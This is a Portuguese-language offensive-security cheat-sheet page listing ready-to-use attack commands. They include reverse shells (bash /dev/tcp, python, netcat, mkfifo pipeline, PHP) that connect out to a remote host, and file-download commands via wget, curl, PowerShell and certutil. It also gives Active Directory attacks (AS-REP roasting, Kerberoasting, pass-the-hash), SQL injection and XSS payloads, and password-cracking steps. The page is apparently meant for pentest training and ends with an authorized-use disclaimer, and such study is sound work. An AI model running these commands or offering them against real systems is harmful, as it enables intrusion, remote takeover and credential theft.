🔐 SECOPS DASHBOARD

Interface tática para busca de comandos e técnicas ofensivas.

Categorias

Dificuldade

Mostrando 27 resultado(s)

Reverse Shells Easy

Bash TCP Reverse Shell

felps@offsec:~$ bash -i >& /dev/tcp/10.0.0.1/4242 0>&1

#linux#bash#network

Reverse Shells Medium

Python3 Reverse Shell

felps@offsec:~$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#scripting#python#linux

Reverse Shells Easy

Netcat Traditional

felps@offsec:~$ nc -e /bin/sh 10.0.0.1 4242

#netcat#linux#backdoor

Reverse Shells Medium

Netcat OpenBSD (No -e)

felps@offsec:~$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

#netcat#fifo#linux

Reverse Shells Medium

PHP Reverse Shell

felps@offsec:~$ php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'

#web#php

TTY Upgrade Easy

Python PTY Spawn

felps@offsec:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'

#post-exploit#python#shell

TTY Upgrade Easy

Set xterm

felps@offsec:~$ export TERM=xterm

#env

TTY Upgrade Medium

STTY Raw Mode (After Ctrl+Z)

felps@offsec:~$ stty raw -echo; fg

#interactive#terminal

File Transfer Easy

Attack Box Server

felps@offsec:~$ python3 -m http.server 8000

#python#server#http

File Transfer Easy

Linux Wget

felps@offsec:~$ wget http://10.0.0.1:8000/file.exe -O file.exe

#linux#download

File Transfer Easy

Linux Curl

felps@offsec:~$ curl http://10.0.0.1:8000/file.exe -o file.exe

#linux#curl

File Transfer Easy

Windows PowerShell

felps@offsec:~$ iwr -uri http://10.0.0.1:8000/file.exe -OutFile file.exe

#windows#powershell

File Transfer Medium

Windows Certutil

felps@offsec:~$ certutil -urlcache -f http://10.0.0.1:8000/file.exe file.exe

#windows#bypass

Network & SMB Easy

Nmap Full Scan

felps@offsec:~$ nmap -sC -sV -p- -T4 10.10.x.x

#recon#nmap

Network & SMB Easy

List SMB Shares

felps@offsec:~$ smbclient -L //10.10.x.x/

#smb#recon

Network & SMB Medium

Enum4Linux All

felps@offsec:~$ enum4linux -a 10.10.x.x

#smb#enumeration

Active Directory Medium

AS-REP Roasting

felps@offsec:~$ impacket-GetNPUsers domain.local/ -usersfile users.txt -format john -dc-ip 10.10.x.x

#ad#kerberos#impacket

Active Directory Hard

Kerberoasting

felps@offsec:~$ impacket-GetUserSPNs domain.local/user:pass -dc-ip 10.10.x.x -request

#ad#kerberos#impacket

Lateral Movement Medium

Pass-The-Hash WinRM

felps@offsec:~$ evil-winrm -i 10.10.x.x -u user -H hash

#winrm#powershell#hash

Lateral Movement Hard

Impacket PsExec Hash

felps@offsec:~$ impacket-psexec administrator@10.10.x.x -hashes :hash

#impacket#windows#psexec

Web Exploitation Easy

SQLi Auth Bypass

felps@offsec:~$ ' OR 1=1 --

#sqli#auth

Web Exploitation Medium

SQLi Union Enumeration

felps@offsec:~$ UNION SELECT 1,2,3,database(),user()--

#sqli#recon

Web Exploitation Easy

Basic XSS Payload

felps@offsec:~$ <script>alert('XSS')</script>

#xss#client-side

Password Cracking Easy

SSH Key Cracking

felps@offsec:~$ ssh2john id_rsa > hash.txt; john --wordlist=rockyou.txt hash.txt

#john#ssh#passwords

Password Cracking Medium

Hashcat SSH Hash

felps@offsec:~$ hashcat -m 22900 hash.txt rockyou.txt

#hashcat#gpu#passwords

Exploit Dev Medium

Metasploit Pattern Create

felps@offsec:~$ msf-pattern_create -l 500

#bof#patterns

Exploit Dev Hard

Metasploit Pattern Offset

felps@offsec:~$ msf-pattern_offset -q <address>

#bof#debugging

⚠️ ADVERTÊNCIA: ESTE MATERIAL É PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS. O USO INDEVIDO É ILEGAL.